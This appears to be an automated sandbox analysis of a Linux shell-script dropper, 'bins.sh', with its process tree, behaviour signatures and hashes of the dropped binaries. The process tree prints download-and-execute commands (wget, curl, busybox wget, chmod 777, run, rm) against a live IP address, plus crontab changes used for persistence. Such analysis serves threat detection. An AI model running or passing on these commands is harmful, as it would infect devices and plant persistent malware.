Analysis

  • max time kernel
    20s
  • max time network
    17s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    01-11-2024 11:53

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    2fe36714c5313a7d81854b3d14c21787

  • SHA1

    ed011c90831d33d3c8e8c3ae2581979532b0cf45

  • SHA256

    595e085ffa26fa28aa8239b3b3933d07640a8515849c28be5d4ec7dcede29171

  • SHA512

    99f2b2cf18a88d5d2f6fa5b93ff0a04ae5a72d5a36555118c0ac829b16414bd0524d03b3230fa7fc9a151f00e0f4c6f0a6302143dd94c0c1d0fb272882c29a9e

  • SSDEEP

    96:TRLVZ9tLlxg7buyLNe44ps1FjSlxg7bYlYXNxos644psNFW04XVZ9C4V:lLVZ9Jlxg7buyLNTUlxg7bT9GZ9B

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 8 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 8 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 2 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 12 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:659
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:662
        • /usr/bin/wget
          wget http://87.120.84.230/bins/CIMRaEGlHBdybj7bIqd2y7XWneRJS1GaEy
          2⤵
          • Writes file to tmp directory
          PID:667
        • /usr/bin/curl
          curl -O http://87.120.84.230/bins/CIMRaEGlHBdybj7bIqd2y7XWneRJS1GaEy
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • Writes file to tmp directory
          PID:676
        • /bin/busybox
          /bin/busybox wget http://87.120.84.230/bins/CIMRaEGlHBdybj7bIqd2y7XWneRJS1GaEy
          2⤵
          • Writes file to tmp directory
          PID:685
        • /bin/chmod
          chmod 777 CIMRaEGlHBdybj7bIqd2y7XWneRJS1GaEy
          2⤵
          • File and Directory Permissions Modification
          PID:689
        • /tmp/CIMRaEGlHBdybj7bIqd2y7XWneRJS1GaEy
          ./CIMRaEGlHBdybj7bIqd2y7XWneRJS1GaEy
          2⤵
          • Executes dropped EXE
          PID:690
        • /bin/rm
          rm CIMRaEGlHBdybj7bIqd2y7XWneRJS1GaEy
          2⤵
            PID:692
          • /usr/bin/wget
            wget http://87.120.84.230/bins/m554PiqKXN4t5qHc8RkLZpFSuMUU5gGUPG
            2⤵
            • Writes file to tmp directory
            PID:694
          • /usr/bin/curl
            curl -O http://87.120.84.230/bins/m554PiqKXN4t5qHc8RkLZpFSuMUU5gGUPG
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:696
          • /bin/busybox
            /bin/busybox wget http://87.120.84.230/bins/m554PiqKXN4t5qHc8RkLZpFSuMUU5gGUPG
            2⤵
            • Writes file to tmp directory
            PID:697
          • /bin/chmod
            chmod 777 m554PiqKXN4t5qHc8RkLZpFSuMUU5gGUPG
            2⤵
            • File and Directory Permissions Modification
            PID:698
          • /tmp/m554PiqKXN4t5qHc8RkLZpFSuMUU5gGUPG
            ./m554PiqKXN4t5qHc8RkLZpFSuMUU5gGUPG
            2⤵
            • Executes dropped EXE
            • Renames itself
            • Reads runtime system information
            PID:699
            • /bin/sh
              sh -c "crontab -l"
              3⤵
                PID:701
                • /usr/bin/crontab
                  crontab -l
                  4⤵
                  • Reads runtime system information
                  PID:702
              • /bin/sh
                sh -c "crontab -"
                3⤵
                  PID:703
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    • Reads runtime system information
                    PID:704
              • /bin/rm
                rm m554PiqKXN4t5qHc8RkLZpFSuMUU5gGUPG
                2⤵
                  PID:706
                • /usr/bin/wget
                  wget http://87.120.84.230/bins/5kOid96QqAeCGcEf4R4MFaSOGokDqpUfQg
                  2⤵
                    PID:710
                  • /usr/bin/curl
                    curl -O http://87.120.84.230/bins/5kOid96QqAeCGcEf4R4MFaSOGokDqpUfQg
                    2⤵
                      PID:711
                    • /bin/busybox
                      /bin/busybox wget http://87.120.84.230/bins/5kOid96QqAeCGcEf4R4MFaSOGokDqpUfQg
                      2⤵
                      • Writes file to tmp directory
                      PID:712
                    • /bin/chmod
                      chmod 777 5kOid96QqAeCGcEf4R4MFaSOGokDqpUfQg
                      2⤵
                      • File and Directory Permissions Modification
                      PID:715
                    • /tmp/5kOid96QqAeCGcEf4R4MFaSOGokDqpUfQg
                      ./5kOid96QqAeCGcEf4R4MFaSOGokDqpUfQg
                      2⤵
                      • Executes dropped EXE
                      PID:716
                    • /bin/rm
                      rm 5kOid96QqAeCGcEf4R4MFaSOGokDqpUfQg
                      2⤵
                        PID:717
                      • /usr/bin/wget
                        wget http://87.120.84.230/bins/mtqsvRnimUsyzC7nmAcQlAbOxvcycWQY8F
                        2⤵
                          PID:718
                        • /usr/bin/curl
                          curl -O http://87.120.84.230/bins/mtqsvRnimUsyzC7nmAcQlAbOxvcycWQY8F
                          2⤵
                            PID:720
                          • /bin/busybox
                            /bin/busybox wget http://87.120.84.230/bins/mtqsvRnimUsyzC7nmAcQlAbOxvcycWQY8F
                            2⤵
                            • Writes file to tmp directory
                            PID:722
                          • /bin/chmod
                            chmod 777 mtqsvRnimUsyzC7nmAcQlAbOxvcycWQY8F
                            2⤵
                            • File and Directory Permissions Modification
                            PID:725
                          • /tmp/mtqsvRnimUsyzC7nmAcQlAbOxvcycWQY8F
                            ./mtqsvRnimUsyzC7nmAcQlAbOxvcycWQY8F
                            2⤵
                            • Executes dropped EXE
                            PID:727
                          • /bin/rm
                            rm mtqsvRnimUsyzC7nmAcQlAbOxvcycWQY8F
                            2⤵
                              PID:729
                            • /usr/bin/wget
                              wget http://87.120.84.230/bins/nm3xsvqJ9BAfLZ3pAWDzb5l4w5a9amClks
                              2⤵
                                PID:731
                              • /usr/bin/curl
                                curl -O http://87.120.84.230/bins/nm3xsvqJ9BAfLZ3pAWDzb5l4w5a9amClks
                                2⤵
                                  PID:732
                                • /bin/busybox
                                  /bin/busybox wget http://87.120.84.230/bins/nm3xsvqJ9BAfLZ3pAWDzb5l4w5a9amClks
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:733
                                • /bin/chmod
                                  chmod 777 nm3xsvqJ9BAfLZ3pAWDzb5l4w5a9amClks
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:736
                                • /tmp/nm3xsvqJ9BAfLZ3pAWDzb5l4w5a9amClks
                                  ./nm3xsvqJ9BAfLZ3pAWDzb5l4w5a9amClks
                                  2⤵
                                  • Executes dropped EXE
                                  PID:738
                                • /bin/rm
                                  rm nm3xsvqJ9BAfLZ3pAWDzb5l4w5a9amClks
                                  2⤵
                                    PID:741
                                  • /usr/bin/wget
                                    wget http://87.120.84.230/bins/HtKbKhJBvJjwZsvQWDfcCDtA8WeZYRJhPl
                                    2⤵
                                      PID:742
                                    • /usr/bin/curl
                                      curl -O http://87.120.84.230/bins/HtKbKhJBvJjwZsvQWDfcCDtA8WeZYRJhPl
                                      2⤵
                                        PID:743
                                      • /bin/busybox
                                        /bin/busybox wget http://87.120.84.230/bins/HtKbKhJBvJjwZsvQWDfcCDtA8WeZYRJhPl
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:745
                                      • /bin/chmod
                                        chmod 777 HtKbKhJBvJjwZsvQWDfcCDtA8WeZYRJhPl
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:751
                                      • /tmp/HtKbKhJBvJjwZsvQWDfcCDtA8WeZYRJhPl
                                        ./HtKbKhJBvJjwZsvQWDfcCDtA8WeZYRJhPl
                                        2⤵
                                        • Executes dropped EXE
                                        PID:752
                                      • /bin/rm
                                        rm HtKbKhJBvJjwZsvQWDfcCDtA8WeZYRJhPl
                                        2⤵
                                          PID:753
                                        • /usr/bin/wget
                                          wget http://87.120.84.230/bins/8i496Vlm5dr9modPTfhqUw2cujR4668EAB
                                          2⤵
                                            PID:755
                                          • /usr/bin/curl
                                            curl -O http://87.120.84.230/bins/8i496Vlm5dr9modPTfhqUw2cujR4668EAB
                                            2⤵
                                              PID:756
                                            • /bin/busybox
                                              /bin/busybox wget http://87.120.84.230/bins/8i496Vlm5dr9modPTfhqUw2cujR4668EAB
                                              2⤵
                                              • Writes file to tmp directory
                                              PID:758
                                            • /bin/chmod
                                              chmod 777 8i496Vlm5dr9modPTfhqUw2cujR4668EAB
                                              2⤵
                                              • File and Directory Permissions Modification
                                              PID:762
                                            • /tmp/8i496Vlm5dr9modPTfhqUw2cujR4668EAB
                                              ./8i496Vlm5dr9modPTfhqUw2cujR4668EAB
                                              2⤵
                                              • Executes dropped EXE
                                              PID:764
                                            • /bin/rm
                                              rm 8i496Vlm5dr9modPTfhqUw2cujR4668EAB
                                              2⤵
                                                PID:765
                                              • /usr/bin/wget
                                                wget http://87.120.84.230/bins/M40c94M6R0kdn5dkiOBesKBlKYRwKt0Je5
                                                2⤵
                                                  PID:766
                                                • /usr/bin/curl
                                                  curl -O http://87.120.84.230/bins/M40c94M6R0kdn5dkiOBesKBlKYRwKt0Je5
                                                  2⤵
                                                    PID:767
                                                  • /bin/busybox
                                                    /bin/busybox wget http://87.120.84.230/bins/M40c94M6R0kdn5dkiOBesKBlKYRwKt0Je5
                                                    2⤵
                                                    • Writes file to tmp directory
                                                    PID:769
                                                  • /bin/chmod
                                                    chmod 777 M40c94M6R0kdn5dkiOBesKBlKYRwKt0Je5
                                                    2⤵
                                                    • File and Directory Permissions Modification
                                                    PID:773
                                                  • /tmp/M40c94M6R0kdn5dkiOBesKBlKYRwKt0Je5
                                                    ./M40c94M6R0kdn5dkiOBesKBlKYRwKt0Je5
                                                    2⤵
                                                    • Executes dropped EXE
                                                    PID:774
                                                  • /bin/rm
                                                    rm M40c94M6R0kdn5dkiOBesKBlKYRwKt0Je5
                                                    2⤵
                                                      PID:778

                                                  Network

                                                  MITRE ATT&CK Enterprise v15

                                                  Replay Monitor

                                                  Loading Replay Monitor...

                                                  Downloads

                                                  • /tmp/5kOid96QqAeCGcEf4R4MFaSOGokDqpUfQg

                                                    Filesize

                                                    100KB

                                                    MD5

                                                    3b78bb645b81d600c30713d416f666be

                                                    SHA1

                                                    23796112f2cce2afb2217498b5ecf2801ab550f2

                                                    SHA256

                                                    d52f8bcb15a590aa5624c446091f1cd0705b68e4647debaeecf8cfa1fe425bd2

                                                    SHA512

                                                    9532ede2d78f1f62f291c8d8d4023c9c579a0bdd042ca11af179adcab96ac2eb178ecb34b9e4b99a33f828694b9839abebabd2ef57dd36d1936027bad1987cf9

                                                  • /tmp/8i496Vlm5dr9modPTfhqUw2cujR4668EAB

                                                    Filesize

                                                    108KB

                                                    MD5

                                                    c97a9c55ddb153e8bfce38f201d2cffb

                                                    SHA1

                                                    3970452f27327f98c2e3fdcabf0390067b48bd62

                                                    SHA256

                                                    138a80e023ab0bbb8b2259cf3633c94c39e6f68df2be2ad01ef08590249e662c

                                                    SHA512

                                                    1734a2e256f90d99d73c70d0faa5b3d24d39a2e9a60dec0c138e75ae0e1793edafb408e1f2aaa2692f40265183faea1d4141b271fb67543633a412817f9fd11e

                                                  • /tmp/CIMRaEGlHBdybj7bIqd2y7XWneRJS1GaEy

                                                    Filesize

                                                    84KB

                                                    MD5

                                                    64ece99ca4ab1c1405f5a3335d64a960

                                                    SHA1

                                                    b7395f2320a5bdadb78943b268708965cdbd1d74

                                                    SHA256

                                                    aaf14287d7a971d4541527262e85e5930bbb7f506cff4808d712843be9f05dae

                                                    SHA512

                                                    bc169075e50ceffd0ce0cc90513bc2f0d8696c01d4132609e31c782ea6c0a755505891e2e23676dd63c3dd00bf97599a9a7e6230e8c3f5166202f5b9be606d41

                                                  • /tmp/HtKbKhJBvJjwZsvQWDfcCDtA8WeZYRJhPl

                                                    Filesize

                                                    95KB

                                                    MD5

                                                    c20c610e14b8e59f5f8258a55fe7f27d

                                                    SHA1

                                                    e59a0b83d9882f2770f052a213cad25b0cbd53fc

                                                    SHA256

                                                    adb7828df990cedc9f301891e725c547656967d827ce9cfdf3f6e8fa8242618b

                                                    SHA512

                                                    dd8d992edcb5e4dae5e97a1ad12c28560a2cda02dcc1867250de78b0fe0d0f511b7269cb4999c80d6d299b87145bcef5b1587730b496426f14550b6f7a0a59a2

                                                  • /tmp/M40c94M6R0kdn5dkiOBesKBlKYRwKt0Je5

                                                    Filesize

                                                    121KB

                                                    MD5

                                                    31d20ec577dc58ff94681d6fea96c120

                                                    SHA1

                                                    4d2cdb9d538f2a51500eb0ea40d4c3686fbbb651

                                                    SHA256

                                                    8118df6b767f9f83aaa11f3a0a655ddaa1d639dcd5ebc1e3b27bbb0d7a7a6c9e

                                                    SHA512

                                                    5fbafb15a07a29c8ff54eaba8e758d98e38f88cac3f375ade4bcb5396fb87ff6a1ea2a26b40d1166338afb1c14153bdea76c0fa344e69d8bb7519d8951fc39d8

                                                  • /tmp/m554PiqKXN4t5qHc8RkLZpFSuMUU5gGUPG

                                                    Filesize

                                                    122KB

                                                    MD5

                                                    aadb8cc4b6eac7fce760c09262693884

                                                    SHA1

                                                    b55178ff3605f4bbfc9286d4c8ac445673232217

                                                    SHA256

                                                    b254f9a6df1e7aae5181abf014b9d574c959ab71bdfd3a2b21022446c583d843

                                                    SHA512

                                                    5567998215fc9389efeb34ee57e59db4141044bbb1f06cac365565681226836b515c8c8cc17931e72e71d4240a5f433aebb8dfe67b2463ef800f59c86561a62c

                                                  • /tmp/mtqsvRnimUsyzC7nmAcQlAbOxvcycWQY8F

                                                    Filesize

                                                    93KB

                                                    MD5

                                                    8fad5e89ce3d2b6159ac2ce2fdf7c084

                                                    SHA1

                                                    27105a304b9bb7cd8a663d1b4da1d92fd8eea355

                                                    SHA256

                                                    24689f385c263c42a28dd1498049171abc633faf91b5df2a738a81145d929bd6

                                                    SHA512

                                                    71689ade77c0ad2ca2db18ed4fd437b6a053b002efadbf6fb479e4f5c85a7830dc0e9cbfef877ca7a91c735a68f28226e7c813c05b329c23668de7edbc99f4bc

                                                  • /tmp/nm3xsvqJ9BAfLZ3pAWDzb5l4w5a9amClks

                                                    Filesize

                                                    93KB

                                                    MD5

                                                    27a1a1941f224eff6a4babf2495e3692

                                                    SHA1

                                                    86fae66a698f6280353e470ffadfb64441b03e83

                                                    SHA256

                                                    ab610b9f57ce293287cf9d4b3d47024ee73c81d8542247e26d1f0db2d5144179

                                                    SHA512

                                                    cf02927d9313f43ab5d04c7570b71cd722a5772642eac72feccdf4612985e29b399a7bbdff5de65d352b92f168c6934b0f0851a28c58a4814fffe38a0d884934

                                                  • /var/spool/cron/crontabs/tmp.Tifpji

                                                    Filesize

                                                    210B

                                                    MD5

                                                    6c52d33bb448ce4763de1c1b96f6dcdc

                                                    SHA1

                                                    ff388d9a0364f45745e151782f7c9c2f50f16eb6

                                                    SHA256

                                                    a7a884a4117cd280ae8480069b41ede63cafb1164c303f0707d43a7411211266

                                                    SHA512

                                                    155f2da465e72218fa03ad95e1c4e211afdc27099a7f25743a4cdba0ae5a55e3f60c526f57f1cc588022a529368a76bbbd278a271367035149bf7efa954774d6